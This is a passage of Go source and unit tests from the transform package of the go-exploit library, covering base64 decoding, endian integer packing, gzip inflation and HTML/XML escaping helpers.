*testing.T) { decoded := DecodeBase64URL("VGhlc2t5YWJvdmV0aGVwb3J0d2FzdGhlY29sb3JvZnRlbGV2aXNpb24sdHVuZWR0b2FkZWFkY2hhbm5lbC7___8-_gA") if decoded != urlTestString { t.Fatal(decoded) } t.Log(decoded) } func TestDecodeBase64URL_WayTooMuchPadding(t *testing.T) { decoded := DecodeBase64URL("VGhlc2t5YWJvdmV0aGVwb3J0d2FzdGhlY29sb3JvZnRlbGV2aXNpb24sdHVuZWR0b2FkZWFkY2hhbm5lbC7___8-_gA=======") if decoded != urlTestString { t.Fatal(decoded) } t.Log(decoded) } func TestDecodeBase64(t *testing.T) { decoded := DecodeBase64("Zm9v") if decoded != "foo" { t.Fatal(decoded) } t.Log(decoded) } func TestTitle(t *testing.T) { title := Title("foo") if title != "Foo" { t.Fatal(title) } t.Log(title) } func TestPackLittleInt32(t *testing.T) { packed := PackLittleInt32(0x44434241) if packed != "ABCD" { t.Fatal(packed) } t.Log(packed) } func TestPackLittleInt64(t *testing.T) { packed := PackLittleInt64(0x4847464544434241) if packed != "ABCDEFGH" { t.Fatal(packed) } t.Log(packed) } func TestPackBigInt16(t *testing.T) { packed := PackBigInt16(0x4142) if packed != "AB" { t.Fatal(packed) } t.Log(packed) } func TestPackBigInt32(t *testing.T) { packed := PackBigInt32(0x41424344) if packed != "ABCD" { t.Fatal(packed) } t.Log(packed) } func TestPackBigInt64(t *testing.T) { packed := PackBigInt64(0x4142434445464748) if packed != "ABCDEFGH" { t.Fatal(packed) } t.Log(packed) } func TestInflate(t *testing.T) { compressed := "\x1f\x8b\x08\x08\xf4\xe9\x97\x66\x00\x03\x77\x61\x74\x00\x2b\x2b\xcd\xc9\x4b\xce\x48\x4d\xce\xe6\x02\x00\x3d\xf1\xb3\xf9\x0a\x00\x00\x00" inflated, ok := Inflate([]byte(compressed)) if !ok { t.Fatal("Error decompressing data") } inflatedStr := string(inflated) if inflatedStr != "vulncheck\n" { t.Fatalf("Decompression generated unexpected string: %s", inflatedStr) } } ================================================ FILE: transform/escape.go ================================================ package transform import ( "encoding/xml" "html" "strings" "github.com/vulncheck-oss/go-exploit/output" ) var EscapeHTML = html.EscapeString func EscapeXML(s string) string { var escaped strings.Builder err := xml.EscapeText(&escaped, []byte(s)) if err != nil { output.PrintFrameworkError(err.Error()) return "" } return escaped.String() } ================================================ FILE: transform/escape_test.go ================================================ package transform import ( "testing" ) func TestEscapeHTML(t *testing.T) { escaped := EscapeHTML("